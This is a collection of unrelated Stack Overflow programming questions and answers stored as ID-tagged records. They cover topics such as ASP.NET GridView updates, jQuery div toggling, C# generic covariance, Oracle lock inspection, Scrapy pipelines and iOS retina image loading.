21673866	0	 <p>We managed to find a solution so I'm going to respond to myself just in case someone else has the same problem and is looking for a fix. </p> <p>We created a new page and started copying the code from the page across. We would publish the website after we added some code and tested that we could browse to the page, which we could. Eventually we had all the code in the new page and it was working fine. Problem solved! </p> <p>Out of interest we renamed the new page to the old one and tried to access the page and we got the same error again. On changing the name back it worked fine.</p> <p>TLDR version</p> <ol> <li>Create a new page with a different name, copy your code across.</li> <li>Try renaming the page.</li> </ol>
11327496	0	Web architecture with c++ backend in Linux best way ? <p>I have php front end that render the GUI ,<br> from there I like to use c++ engine in the backend that gets the users request with data xml structures this c++ engine is responsible to process the data and store it in the DB or files and return the response to the user<br> now , my front end is lighthttpd working great , in the back end I want to avoid to write the c/c++ daemon I like to use something that is well establish in the industry , which server shell I use to host my c++ back end code?<br> also what is the best way to establish connection between php and back end server ? sockets? Php sockets ?</p>
40857313	0	 <p>The problem with:</p> <pre><code>BOOL r = [res isEqualToString:@"\x124Vx\xc3\xaa"]; </code></pre> <p>is with the <code>\x124</code> part. It seems you can only have hex values in the range <code>00</code> - <code>ff</code>. And note the removal of the <code>[ ]</code> around the string.</p> <p>If you don't want the <code>4</code> to be considered part of the <code>\x</code> hex number, you can do this:</p> <pre><code>BOOL r = [res isEqualToString:@"\x12""4Vx\xc3\xaa"]; </code></pre> <p>The two double-quote characters ensure the <code>\x</code> escape sequence stops where you need it to.</p> <p>To eliminate the new warning about a possible missing comma when using such a string in an <code>NSArray</code>, you will need to use the older syntax to create the array:</p> <pre><code>NSArray *answers = [NSArray arrayWithObjects: @"", @"#", @"\x12""4Vx\xc3\xaa", nil ]; </code></pre>
13744843	0	 <p>Above solution gives NaN if any text box is empty. please try this it will give 0. </p> <p>var v1=0; var v2=0;</p> <pre><code>if(!isNaN(parseInt($('input[name=amounty]').val()))){ v1 = parseInt($('input[name=amounty]').val()); } if(!isNaN(parseInt($('input[name=quatity]').val()))){ v2 = parseInt($('input[name=quatity]').val()); } sum = v1 * v2; </code></pre>
31610124	0	One Button to update GridView <p>I want to update all rows of a GridView one time by clicking one button: aspx:</p> <pre><code>&lt;/asp:ObjectDataSource&gt; &lt;asp:ListBox ID="ListBoxRoles" runat="server" DataSourceID="ObjectDataSourceAllRoles" AutoPostBack="true" DataTextField="RoleName" DataValueField="RoleID" OnSelectedIndexChanged="ListBoxRoles_SelectedIndexChanged"&gt; &lt;/asp:ListBox&gt; &lt;asp:ObjectDataSource ID="ObjectDataSourceRolePermissions" runat="server" TypeName="RolePermission" SelectMethod="GetRolePermissionByRoleID" UpdateMethod="UpdateRolePermission"&gt; &lt;SelectParameters&gt; &lt;asp:ControlParameter ControlID="ListBoxRoles" Name="RoleID" PropertyName="SelectedValue" Type="String" /&gt; &lt;/SelectParameters&gt; &lt;UpdateParameters&gt; &lt;asp:ControlParameter ControlID="ListBoxRoles" Name="RoleID" PropertyName="SelectedValue" Type="String" /&gt; &lt;/UpdateParameters&gt; &lt;/asp:ObjectDataSource&gt; &lt;asp:GridView ID="GridViewRolePermission" SkinID="GridViewSecurity" runat="server" style="width: 100%;" HeaderStyle-Height="50" AutoGenerateColumns="False" DataKeyNames="ID" DataSourceID="ObjectDataSourceRolePermissions"&gt; &lt;Columns&gt; &lt;asp:BoundField ItemStyle-HorizontalAlign="Center" DataField="PermissionName" SortExpression="PermissionName" /&gt; &lt;asp:TemplateField ItemStyle-HorizontalAlign="Center"&gt; &lt;ItemTemplate&gt; &lt;asp:CheckBox ID="CheckBoxRead" runat="server" Checked='&lt;%#Bind("Read") %&gt;' /&gt; &lt;/ItemTemplate&gt; &lt;/asp:TemplateField&gt; &lt;asp:TemplateField ItemStyle-HorizontalAlign="Center"&gt; &lt;ItemTemplate&gt; &lt;asp:CheckBox ID="CheckBoxUpdate" runat="server" Checked='&lt;%#Bind("Update") %&gt;' /&gt; &lt;/ItemTemplate&gt; &lt;/asp:TemplateField&gt; &lt;/asp:GridView&gt; &lt;asp:Button runat="server" ID="ButtonUpdateRolePermissions" Text="Save" OnClick="ButtonUpdateRolePermissions_Click" /&gt; </code></pre> <p>I want to update all rows of the gridview once the ButtonUpdateRolePermissions clicked. I tried:</p> <pre><code> protected void ButtonupdateRolePermissions_Click(object sender, EventArgs e) { foreach(GridViewRow RolePermission in this.GridViewRolePermission.Rows) { this.ObjectDataSourceRolePermissions.Update(); } } </code></pre> <p>but the update method not take Update and Read fields into consideration.</p>
6728529	0	 <p><a href="https://github.com/TurnWheel/jReject" rel="nofollow">jQuery Browser Rejection Plugin</a> can help you. it supports following browsers disable/enable options:</p> <pre><code> msie: false,msie5: true,msie6: true,msie7: false,msie8: false, // MSIE Flags (Global, 5-8) firefox: false,firefox1: false,firefox2: false,firefox3: false, // Firefox Flags (Global, 1-3) konqueror: false,konqueror1: false,konqueror2: false,konqueror3: false, // Konqueror Flags (Global, 1-3) chrome: false,chrome1: false,chrome2: false,chrome3: false,chrome4: false, // Chrome Flags (Global, 1-4) safari: false,safari2: false,safari3: false,safari4: false, // Safari Flags (Global, 1-4) opera: false,opera7: false,opera8: false,opera9: false,opera10: false, // Opera Flags (Global, 7-10) gecko: false,webkit: false,trident: false,khtml: false,presto: false, // Rendering Engines (Gecko, Webkit, Trident, KHTML, Presto) win: false,mac: false,linux : false,solaris : false,iphone: false, // Operating Systems (Win, Mac, Linux, Solaris, iPhone) unknown: false // Unknown covers everything else </code></pre>
19712488	0	 <p>If you could make your <code>IFoo&lt;&gt;</code> interface <strong><em>covariant</em></strong> it would work, that is if you were allowed to change the declaration of it into:</p> <pre><code>public interface IFoo&lt;out T&gt; </code></pre> <p>(note the <code>out</code>). Because with covariance any <code>IFoo&lt;string&gt;</code> would also be an <code>IFoo&lt;object&gt;</code> because <code>string</code> is a reference type and derives from <code>object</code>.</p> <p><em><strong>But:</em></strong> A member of <code>IFoo&lt;&gt;</code>, the <code>Handle</code> method, uses the type parameter in a contravariant manner. So your interface cannot be declared covariant (<code>out</code>). (It could be declared contravariant (<code>in</code>) but that goes in the wrong direction for your example above.)</p> <p>Read up on covariance and contravariance in generics.</p> <p>The fundamental problem here is that your <code>StringFoo</code> handles only strings. Therefore it can never be used as an <code>IFoo&lt;object&gt;</code> because then you could pass for example a <code>Giraffe</code> instance (<code>Giraffe</code> derives from <code>object</code>, so a <code>Giraffe</code> is an <code>object</code>) into the <code>StringFoo</code>, and that is impossible when its <code>Handle</code> takes a <code>string</code>.</p>
6625413	0	 <p>Use the attributes:</p> <pre><code>android:paddingTop android:paddingBottom android:paddingLeft android:paddingRight </code></pre> <p>This controls the amount of 'empty' space between the border of the button and the text.</p>
37487928	0	 <p>Lots of ways to go about this! This is another Vanilla Javascript one, fill free to mix and match according to your actual specs.</p> <pre><code>var fruits = [{ fruit: "apple", selected: false }, { fruit: "pear", selected: false }, { fruit: "orange", selected: false }, { fruit: "pineaple", selected: false }, { fruit: "mango", selected: true }, { fruit: "peach", selected: false }, { fruit: "strawberry", selected: false }]; var selectedFruits = fruits.reduce((result, el) =&gt; { if(el.selected) { return Array(el).concat(result).slice(0, 3); } if (result.length &gt; 2) return result; result.push(el); return result; }, Array()); console.log(selectedFruits); </code></pre>
29935830	0	How do I destructuring-match syntax::ptr::P? <p>I have a function which tries to match an <code>syntax::ast::ExprBinary(syntax::ast::BinOp, syntax::ptr::P&lt;ast::Expr&gt;, syntax::ptr::P&lt;syntax::ast::Expr&gt;)</code>, but I cannot find the right syntax to match the <code>P</code> so I get the contained expression out of it. I see that I can use <code>Deref</code> to get at the <code>Expr</code>, but this is cumbersome.</p> <p>Is there a way to get rid of the <code>P</code> within the <code>match</code> (or <code>if let</code>) clause?</p>
32910458	1	Selecting only updated record in delta <p>Trying to compare 2 tables in the same db. Table 1 is the main historical table, table 2 is the temporary table with new data rcvd from server and used to update table 1. </p> <p>Need to output the items in table 1 that have a change in one of the fields on table 2. </p> <p>i.e. table 1(Services)</p> <pre> Service - folder- s2 - Real - s4 astatus - on - on - on - on </pre> <p>table 2(Services2)</p> <pre> Service - folder - s2 - Real - s4 astatus - on - on - off - on </pre> <p>So I need the output to indicate that Real in astatus table 1 is off (again table 2 is just the reference temp table with new data to update table 1) I have all the updates and remaining code done. But i'm stuck on this comparison part...</p> <p>my code is as follows:</p> <pre><code>cursor.execute("""Select inner.compare FROM (Select a.Real = aReal, b.Real = bReal FROM Services a JOIN Services2 b ON (lower(a.Service || a.Folder) = lower(b.Service || b.Folder)))inner.compare WHERE inner.astat != inner.bstat""") print inner.compare </code></pre>
8702630	0	 <p>You would access the superglobal <a href="http://php.net/manual/reserved.variables.server.php" rel="nofollow"><code>$_SERVER</code></a> and its key <code>HTTP_HOST</code>:</p> <pre><code>echo 'Hello, and welcome to ' , $_SERVER['HTTP_HOST']; </code></pre>
28118598	0	How to change this jquery fiddle to have the first div open/active by default? <p>I found this fiddle (<a href="http://jsfiddle.net/m6aRW/109/" rel="nofollow">http://jsfiddle.net/m6aRW/109/</a>) that does exactly what I need it to do for me. However, how can I alter it so that #div1 is open on page load? Just using display:block keeps that div open even if you click the others.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>jQuery(function ($) { $('.showSingle').click(function () { var itemid = '#div' + $(this).attr('target'); //id of the element to show/hide. //Show the element if nothing is shown. if ($('.active').length === 0) { $(itemid).slideDown(); $(itemid).addClass('active'); //Hide the element if it is shown. } else if (itemid == "#" + $('.active').attr('id')) { $('.active').slideUp(); $(itemid).removeClass('active'); //Otherwise, switch out the current element for the next one sequentially. } else { $('.active').slideUp(function () { $(this).removeClass('active'); if ($(".targetDiv:animated").length === 0) { $(itemid).slideDown(); $(itemid).addClass('active'); } }); } }); });</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>.targetDiv { display: none }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"&gt;&lt;/script&gt; &lt;a class="showSingle" target="1"&gt;Div 1&lt;/a&gt; &lt;a class="showSingle" target="2"&gt;Div 2&lt;/a&gt; &lt;a class="showSingle" target="3"&gt;Div 3&lt;/a&gt; &lt;a class="showSingle" target="4"&gt;Div 4&lt;/a&gt; &lt;div id="div1" class="targetDiv"&gt;Lorum Ipsum1&lt;/div&gt; &lt;div id="div2" class="targetDiv"&gt;Lorum Ipsum2&lt;/div&gt; &lt;div id="div3" class="targetDiv"&gt;Lorum Ipsum3&lt;/div&gt; &lt;div id="div4" class="targetDiv"&gt;Lorum Ipsum4&lt;/div&gt;</code></pre> </div> </div> </p>
26824566	0	how to prevent user response during delay before the AI response <p>I am having trouble with being able to keep activating buttons before my AI response in a Tic Tac Toe game. As you can see I added a delay response, but I am still able to do another turn even before my AI responds. Anyone knows how to disable the first player turn until the AI has made its turn?</p> <pre><code>@IBOutlet var userMessage: UILabel! struct Sender{ var tag = 1 } var plays = Dictionary&lt;Int,Int&gt;() var done = false var aiDeciding = false var sender: Sender = Sender() @IBAction func UIButtonClicked(sender:UIButton) { userMessage.hidden = true if plays[sender.tag] == nil &amp;&amp; !aiDeciding &amp;&amp; !done { setImageForSpot(sender.tag, player: 1) } checkForWin() func delay(delay:Double, closure:()-&gt;()) { dispatch_after( dispatch_time( DISPATCH_TIME_NOW, Int64(delay * Double(NSEC_PER_SEC)) ), dispatch_get_main_queue(), closure) } delay(0.4) { self.aiTurn() } } </code></pre>
23087362	0	 <p>The two <code>loaddata</code> are the same thing, but <code>syncdb</code> is a command that creates database tables loads the initial data for that app.</p> <p>You would use <code>loaddata</code> to load a fixture into a database and <code>syncdb</code> to set up your database for a new app.</p> <p><code>manage.py</code> is a wrapper around <code>django-admin.py</code> that adds your project to the path and sets up the DJANGO_SETTINGS_MODULE environment variable. Normally, you'll use <code>manage.py</code> once your project has been set up.</p>
28810175	0	 <p>The values are posted to the controller, bot the problem is with controller parameter binding, because the names from the parameter and the drop down list is different. If you change the name of the controller parameter list from "SelectedIds" to drop down list name "FuncionarioId" it should work. So change this:</p> <pre><code>[HttpPost] public ActionResult EscolherFuncionarios(List&lt;int&gt; SelectedIds) { return View(); } </code></pre> <p>to this:</p> <pre><code> [HttpPost] public ActionResult Test(List&lt;int&gt; FuncionarioId) { return View(); } </code></pre>
18856303	0	TeamCity url to view report tab of latest build <p>Here is the url to a custom report tab of a specific build:</p> <p><code>http://teamcity/viewLog.html?buildId=1738&amp;buildTypeId=bt16&amp;tab=report_TODO_items</code></p> <p>What I cannot figure out is how to change that URL to always point to the latest build (finished or successful).</p> <p>There is help on how get artifact data here: <a href="http://confluence.jetbrains.com/display/TCD7/Patterns+For+Accessing+Build+Artifacts" rel="nofollow">http://confluence.jetbrains.com/display/TCD7/Patterns+For+Accessing+Build+Artifacts</a></p> <p>But <code>http://teamcity/bt16/.lastSuccessful/viewLog.html&amp;tab=report_TODO_items</code> doesn't work</p>
12970823	0	 <p>Try to execute this first ,and check whether anyone from <code>other session</code> or <code>your session</code> put a lock on that table .If <code>you</code> have put a lock on that table,try to do <code>commit/rollback</code> .If <code>someone else</code> put a lock ,ask <code>him/her</code> or if you have rights <code>kill his session</code> .And then drop the table.</p> <pre><code> select session_id "sid",SERIAL# "Serial", substr(object_name,1,20) "Object", substr(os_user_name,1,10) "Terminal", substr(oracle_username,1,10) "Locker", nvl(lockwait,'active') "Wait", decode(locked_mode, 2, 'row share', 3, 'row exclusive', 4, 'share', 5, 'share row exclusive', 6, 'exclusive', 'unknown') "Lockmode", OBJECT_TYPE "Type" FROM SYS.V_$LOCKED_OBJECT A, SYS.ALL_OBJECTS B, SYS.V_$SESSION c WHERE A.OBJECT_ID = B.OBJECT_ID AND C.SID = A.SESSION_ID ORDER BY 1 ASC, 5 Desc </code></pre>
21469296	0	 <pre><code>{foreach item="item" from=$root.page.news.item } {foreach from=$item.Tags item=tagitem key=kex} {if !$done.$tagitem} {$done.$tagitem = 1} {$tagitem} {/if} {/foreach} {/foreach} </code></pre> <p>I am not sure it works with all the versions.</p> <p>Maybe it would be a bit cleaner to call an <code>array_unique()</code> in the php.</p>
2651880	0	 <p>Try changing &lt;%= to &lt;%# within your jQuery script. Check out <a href="http://leedumond.com/blog/the-controls-collection-cannot-be-modified-because-the-control-contains-code-blocks/" rel="nofollow noreferrer">this article</a></p>
30544445	1	Scrapy pipeline html parsing <p>I have a spider with 3 items: url, title and category. </p> <p>They are loading fine in raw html but now I would like to convert title and category into plain text using html2test in a pipeline..</p> <p>Here is my incorrect pipeline code, could someone help debugging it.</p> <p>Thank you</p> <pre><code>import html2text import csv from tutorial import settings def write_to_csv(item): writer = csv.writer(open(settings.csv_file_path, 'a'), lineterminator='\n') writer.writerow([item[key] for key in item.keys()]) class TutorialPipeline(object): def process_item(self, item, spider): h = html2text.HTML2Text() h.ignore_images = True h.handle(item['title']).strip() h.handle(item['category']).strip() write_to_csv(item) return item </code></pre> <p>Spider code</p> <pre><code>import scrapy from scrapy.http import Request from scrapy.contrib.spiders import CrawlSpider,Rule from scrapy.contrib.linkextractors import LinkExtractor from tutorial.items import TutorialItem class tuto(CrawlSpider): name = "tuto" allowed_domains = ['emedicine.medscape.com'] start_urls=["http://emedicine.medscape.com"] rules=( Rule( LinkExtractor(restrict_xpaths ='//div[@id="browsespecialties"]'),callback='follow_pages', follow=True), ) def follow_pages(self, response): for sel in response.xpath('//div[@class="maincolbox"]//a/@href').extract(): yield Request("http://emedicine.medscape.com/" + sel, callback = self.parse_item) def parse_item(self, response): item = TutorialItem() item['url'] = response.url item['background'] = response.xpath('//div[@class="refsection_content"]').extract() item['title'] = response.xpath('//h1').extract() yield item </code></pre>
7515672	0	Modal blocking dialog in Javascript <p>I'm developing Openlayers toolbar in Javascript with jQuery and jQuery UI.</p> <p>One feature that I want to implement is Adding points to the map.</p> <p>In openLayers you have to listen for event called 'sketchcomplete'.</p> <pre><code>layer.events.on({ 'sketchcomplete': onPointAdded }); </code></pre> <p>The problem is in onPointAdded callback. This callback should return true or false. True mean that the point should be added to the map and false means cancel adding this point to the map.</p> <p>Now the callback looks like this:</p> <pre><code>onPointAdded = function(feature) { var f = feature.feature; var result = false; $('#dialog-point-add').dialog({ modal : true, buttons : { 'Add point' : function() { result = true; $(this).dialog("close"); }, 'Cancel' : function() { result = false; $(this).dialog("close"); } } }); return result; }; </code></pre> <p>The problem is that this dialog doesn't block the executing code. I'm asking You How to handle this situation? I want to show dialog to the user with confirmation for adding the point.</p>
12289338	0	 <p>First - you should be able to just use <a href="http://msdn.microsoft.com/en-us/library/s2tte0y1.aspx" rel="nofollow"><code>File.ReadAllLines</code></a> instead of reading the text and splitting....</p> <p>You may need to trim the results. If there is extra whitespace on the lines, the condition may fail. Try using:</p> <pre><code>if (check[0].Trim() == "1") { </code></pre> <p>This will trim off any whitespace, which should cause your conditional to succeed.</p> <p>You can also put a breakpoint in, and inspect the values in the debugger. This will help you better diagnose the issue.</p>
7732753	0	 <p>Make a shared assembly (.dll) We use that for our products and its working very well. We have like 4-5 WPF based shared assemblies. In Visual Studio we just used the "WPF Custom Control Library" instead of an App.xaml you have a Themes/Generic.xaml which will be loaded automatically if you add the reference to your main executable.</p>
21121561	0	 <p>Here's a fairly simple algorithm to overlap two strings:</p> <pre><code>#include &lt;string&gt; std::string overlap(std::string first, std::string const &amp; second) { std::size_t pos = 0; for (std::size_t i = 1; i &lt; first.size(); ++i) { if (first.compare(first.size() - i, i, second, 0, i) == 0) { pos = i; } } first.append(second, pos, second.npos); return first; } </code></pre> <p>Usage:</p> <pre><code>std::string result = overlap("abcde", "defgh"); </code></pre> <p>And to overlap a whole range, use <code>std::accumulate</code>:</p> <pre><code>#include &lt;algorithm&gt; #include &lt;iostream&gt; #include &lt;vector&gt; int main() { std::vector&lt;std::string&gt; strings = {"abc", "def", "fegh", "ghq"}; std::cout &lt;&lt; std::accumulate(strings.begin(), strings.end(), std::string(), overlap) &lt;&lt; std::endl; } </code></pre>
22734771	0	 <p>It's because you set the <code>display:block</code> for your <code>a</code>, so the border will be around the box (which has <code>height</code> set to <code>46px</code>). Looks like you explicitly set <code>padding-bottom</code> to <code>0</code> and then it still should work (the bottom border should be close to the link text?) but not really, because you also set the <code>line-height</code> to be equal to the <code>height</code> (both are <code>46px</code>), so the text is centered vertically and give a space between the baseline and the border-bottom. </p> <p>To solve this problem, simply remove the line <code>display: block;</code> in your css for the <code>a</code> tag. You don't need that at all, removing will solve your problem:</p> <pre><code>#menu ul li a { text-decoration:none; color:#ccc; margin-right:5px; height:46px; line-height:46px; padding:0 5px 0 5px; font-size:20px; } </code></pre>
28022789	0	 <p>So far by looking at the source of of pysqlite, I can say that it is not possible to share connection or cursor objects (see <code>pysqlite_check_thread</code> function usage) only. </p> <p><code>pysqlite_check_thread</code> function raises <code>ProgrammingError</code> exception with that message </p> <pre><code>SQLite objects created in a thread can only be used in that same thread. </code></pre> <p>Some function in your source code catches that exception and prints it.</p> <p>In order to find places in your source code that call connection methods in other threads, I would suggest to write call wrapper over connection object something like this:</p> <pre><code># script name: sqllitethread.py import inspect import sqlite3 import threading import thread from sqlite3 import ProgrammingError class CallWrapper(object): def __init__(self, obj): self.obj = obj self.main_thread_id = thread.get_ident() def __getattr__(self, name): if self.main_thread_id != thread.get_ident(): print "Thread %s requested `%s` attribute from %s" % (thread.get_ident(), name, self.obj) for frame in inspect.getouterframes(inspect.currentframe())[1:]: if frame[1].endswith('threading.py'): continue print "\t", "%s:%s" % (frame[1], frame[2]), frame[3], frame[4][0].strip() return getattr(self.obj, name) conn = CallWrapper(sqlite3.connect('example.db')) c = conn.cursor() def worker(): try: conn.execute('.tables') except ProgrammingError, e: print e t = threading.Thread(target=worker) t.start() t.join() </code></pre> <p>Output example:</p> <pre><code>Thread 140390877370112 requested `execute` attribute from &lt;sqlite3.Connection object at 0x7faf4e659858&gt; sqllitethread.py:30 worker conn.execute('.tables') SQLite objects created in a thread can only be used in that same thread.The object was created in thread id 140390912665408 and this is thread id 140390877370112 </code></pre>
4486858	0	 <p>For simple enumeration, simply using fast enumeration (i.e. a <code>for…in…</code> loop) is the more idiomatic option. The block method might be marginally faster, but that doesn't matter much in most cases — few programs are CPU-bound, and even then it's rare that the loop itself rather than the computation inside will be a bottleneck.</p> <p>A simple loop also reads more clearly. Here's the boilerplate of the two versions:</p> <pre><code>for (id x in y){ } [y enumerateObjectsUsingBlock:^(id x, NSUInteger index, BOOL *stop){ }]; </code></pre> <p>Even if you add a variable to track the index, the simple loop is easier to read.</p> <p>So when you should use <code>enumerateObjectsUsingBlock:</code>? When you're storing a block to execute later or in multiple places. It's good for when you're actually using a block as a first-class function rather than an overwrought replacement for a loop body.</p>
6055087	0	Query expression to dot notation <p>hei, need some help to convert this linq query to dot notation:</p> <pre><code> var productions = from row in data group row by row.PRODUCTION_NAME into gr select new { Group = gr.Key, Jobs = from row in gr orderby row.SortFieldCard group row by row.JOB_NAME into job select new { job.Key, Cards = job } }; </code></pre>
4201502	0	 <p>Here is a clearer view of why a clear is needed. <a href="http://www.quirksmode.org/css/clearing.html" rel="nofollow">http://www.quirksmode.org/css/clearing.html</a></p>
11745880	0	Accessing objects parent property in django profiles <p>I am using django profiles with having different types of profiles. </p> <p>My Profile Model of Company is similar to:</p> <pre><code>from django.db import models from django.contrib.auth.models import User from accounts.models import UserProfile from jobs.models import City from proj import settings from django.core.mail import send_mail class Company(UserProfile): name=models.CharField(max_length=50) short_description=models.CharField(max_length=255) tags=models.CharField(max_length=50) profile_url=models.URLField() company_established=models.DateField(null=True,blank=True) contact_person=models.CharField(max_length=100) phone=models.CharField(max_length=50) address=models.CharField(max_length=200) city=models.ForeignKey(City,default=True) def send_activation_email(self): self.set_activation_key(self.username) email_subject = 'Your '+settings.SITE_NAME+' account confirmation' email_body = """Hello, %s, and thanks for signing up for an example.com account!\n\nTo activate your account, click this link within 48 hours:\n\nhttp://"""+settings.SITE_URL+"/accounts/activate/%s""" % (self.username,self.activation_key) send_mail(email_subject, email_body, 'acccounts@site.com', [self.email]) </code></pre> <p>Here I am inheriting Company from UserProfile and in send activation email, I am trying to use properties and methods of parent classes user and userprofile. Its direct parent is userprofile while user has onetoone relation with userprofile. So I tried to call <code>self.activation_key</code> that is defined in userpofile and called self.username that is property of user class/table and getting error on self.username . </p> <p>So seems like I am calling self.username in wrong way,so how can I access self.username ? Any detail will be helpful and appreciated.</p>
23904128	0	 <p>Follow the below link, I think it will help you to find the solution:</p> <p><a href="http://www.codeproject.com/Articles/631683/Standalone-NET-Framework-exe" rel="nofollow">http://www.codeproject.com/Articles/631683/Standalone-NET-Framework-exe</a></p> <p><a href="http://stackoverflow.com/questions/191251/how-to-install-wpf-application-to-a-pc-without-framework-3-5">How to install WPF application to a PC without Framework 3.5</a></p> <p><a href="http://stackoverflow.com/questions/3528126/installing-wpf-application-on-machine-without-net-framework-4">Installing WPF application on machine without .NET Framework 4</a></p>
12399958	0	 <p>You are right, there's a limit (and a lot of work arounds techniques) in every processor architecture, but you will run into a lot of messy problems before you run out of numbers. Performance issues related to great amounts of data is a problem that you are likely to have.</p>
29349710	0	Can HTML <script defer> execute before <script async>? <p>I'm asking a question on a subject that has been well explored and there are many near-answers to what I am asking, but I haven't been able to find the exact answer to what is a simple question.</p> <p>I understand that defer scripts run in the order they appear on the page, but only after the DOM has been built, and I get that async scripts run as soon as is possible, and I know that neither one blocks the HTML parser.</p> <p>Here's the question: Is there a case in which a defer script can execute before all the async scripts have executed? Essentially, if the HTML parser has parsed the entire document and is ready to run the defer scripts BUT there are still some async scripts that have not loaded yet, will it wait for these async scripts to load (and execute), or will it run the defer scripts?</p> <p>Thanks!</p>
8773632	0	Calling javascript function to get offset of an element <p>I have a draggable div of which when you drop it, it gives you its left and top value and if it contains a specific class.</p> <p>Example:</p> <pre><code>$( "div" ).draggable({ cursor:'move', stop: function() { if ($(this).hasClass('cool')) { var state = "Class cool exists" } var b = $(this); var bl = b.offset().left; var bt = b.offset().top; console.log(" Left:" + bl + " Top:" + bt + " Class:" + state); }}); </code></pre> <p>and Fiddle: <a href="http://jsfiddle.net/sq4XZ/" rel="nofollow">http://jsfiddle.net/sq4XZ/</a></p> <p>Now this works just find but I want to call all those methods in a <strong>seperate function</strong> because in my actual script I have to call that function many times with button clicks, hovers and basically not just with you drop the div.</p> <p>So what i did was this:</p> <pre><code>function cool(){ if ($(this).hasClass('cool')) { var state = "Class cool exists" } var b = $(this); var bl = b.offset().left; var bt = b.offset().top; console.log(" Left:" + bl + " Top:" + bt + " Class:" + state); } $( "div" ).draggable({ cursor:'move', stop: function() { cool(); }}); </code></pre> <p>so that every time I need to get those values I would call cool() function. </p> <p>jsFiddle: <a href="http://jsfiddle.net/5bQ4d/" rel="nofollow">http://jsfiddle.net/5bQ4d/</a></p> <p>Now if you are a javascript guru you would should know by now that this shouldn't work because of $(this). If I replace $(this) with $('div') works just fine. But when I call cool() it doesn't know which $(this) is.</p> <p>In my actual page I have many of those divs so when I call cool() I have to pass the div id/name/class of which I am talking about. <strong>So, how can I pass the div name/id/class to the cool() function so that it knows that $(this) means the div I clicked/hovered/dropped from?</strong></p> <p>Thanks</p>
34544749	0	 <p>For people who need this in <em>Swift</em></p> <pre><code>func searchBar(searchBar: UISearchBar, textDidChange searchText: String) { // to limit network activity, reload half a second after last key press. NSObject.cancelPreviousPerformRequestsWithTarget(self, selector: "reload", object: nil) self.performSelector("reload", withObject: nil, afterDelay: 0.5) } </code></pre> <p>EDIT: <strong>SWIFT 3</strong> Version</p> <pre><code>func searchBar(searchBar: UISearchBar, textDidChange searchText: String) { // to limit network activity, reload half a second after last key press. NSObject.cancelPreviousPerformRequests(withTarget: self, selector: #selector(self.reload), object: nil) self.perform(#selector(self.reload), with: nil, afterDelay: 0.5) } func reload() { print("Doing things") } </code></pre>
33790526	0	How to place 3 d3.js charts in a row <p>I want to place 3 d3 charts in a row I tried doing it using bootstrap fro html but it does not help id there a better way to do this</p> <p>My current code</p> <pre><code>&lt;div class="row"&gt; &lt;div class="span4" id="chart_1"&gt;23&lt;/div&gt; &lt;div class="span4" id="chart_2"&gt;45&lt;/div&gt; &lt;div class="span4" id="chart_3"&gt;34&lt;/div&gt; &lt;/div&gt; </code></pre> <p>Fiddle: <a href="https://jsfiddle.net/r2qepmk0/3/" rel="nofollow">https://jsfiddle.net/r2qepmk0/3/</a></p> <p>If I change bootstrap class to col-xs-4 which otherwise place divs in row but somehow the charts do not render. </p> <p>js fiddle with the col-xs-4 class <a href="https://jsfiddle.net/r2qepmk0/4/" rel="nofollow">https://jsfiddle.net/r2qepmk0/4/</a></p>
22399792	0	 <p>The things that could have gone wrong are:</p> <ol> <li>The website is not responding</li> <li>The JSON is invalid</li> <li>There is some error in your code</li> </ol> <p>This code should tell your what is happening:</p> <pre><code>error_reporting(-1); // Turn on error reporting $url = "http://natomilcorp.com/api/get-users"; $jsonString = file_get_contents($url); if ( ! $jsonString) { die('Could not get data from: '.$url); } $obj = json_decode($jsonString); if ( ! $obj) { // See the following URL to figure out what the error is // Be sure to look at the comments, as there is a compatibility // function there // http://php.net/manual/en/function.json-last-error-msg.php die('Something is wrong with the JSON'); } echo $obj-&gt;"username"; </code></pre>
26721710	0	 <p>On Windows you can use the <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa364418(v=vs.85).aspx" rel="nofollow">FindFirstFile</a> / <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa364428(v=vs.85).aspx" rel="nofollow">FindNextFile</a> APIs to search for files in a path. There is no standard way to enumerate files in Visual C++ (or in C++ in general for that matter). But since your'e using Visual C++, there's a good chance you're programming for Windows so it makes sense to look at the Windows Platform API for a solution to your problem.</p> <pre><code> WIN32_FIND_DATA findFileData; HANDLE hFind; // find all files that start with a_ in a specific directory hFind = FindFirstFile("C:\\PATH\\TO\\DIRECTORY\\a_*", &amp;findFileData); if (hFind != INVALID_HANDLE_VALUE) { while(hFind != INVALID_HANDLE_VALUE) { if (findFileData.dwFileAttributes &amp; FILE_ATTRIBUTE_DIRECTORY) { /* current entry is a directory */ } else { /* file name is findFileData.cFileName */ } hFind = FindNextFile(hFind, &amp;findFileData); } FindClose(hFind); } </code></pre> <p>The example above is a simple way of enumerating through all files (and subdirectories) in a given path, that start with <code>a_</code>. If you need to look in sub-directories as well, then you should extend the method to recursively process each subdirectory, and change it so it will examine all files, and test for file name match on each file.</p>
11080746	0	Get an UIImage from URL to iPhone and iPhone retina <p>I'm trying to get an image from a URL to view it on an iPhone and an iPhone Retina. The problem is that iPhone is displayed correctly but Retina is blurred. The image has a size of 100x100 at 326dpi (size retina). </p> <p>I'm doing it correctly? </p> <pre><code> - (void)viewDidLoad { [super viewDidLoad]; double scaleFactor = [UIScreen mainScreen].scale; NSURL *imageURL = [NSURL URLWithString:@"http://s419999211.mialojamiento.es/img/bola.png"]; if (scaleFactor == 2){ // @2x NSLog(@"Estoy cargando la imágen retina"); NSData * imageData = [NSData dataWithContentsOfURL:imageURL]; image = [UIImage imageWithData:imageData]; NSLog(@"Width: %f Height: %f",image.size.width,image.size.height); yourImageView = [[UIImageView alloc] initWithImage:image]; } else { // @1x NSLog(@"Estoy cargando la imágen normal"); NSData * imageData = [NSData dataWithContentsOfURL:imageURL]; image = [UIImage imageWithData:imageData]; imagenScalada = [UIImage imageWithCGImage:[image CGImage] scale:1.0 orientation:UIImageOrientationUp]; NSLog(@"Width: %f Height: %f",imagenScalada.size.width,imagenScalada.size.height); yourImageView = [[UIImageView alloc] initWithImage:imagenScalada]; } [self.view addSubview:yourImageView]; } </code></pre> <p><img src="https://i.stack.imgur.com/fKDkr.png" alt="Image for normal screen"> <img src="https://i.stack.imgur.com/53vRL.png" alt="Imagen blurred"></p> <p>Thank you!</p> 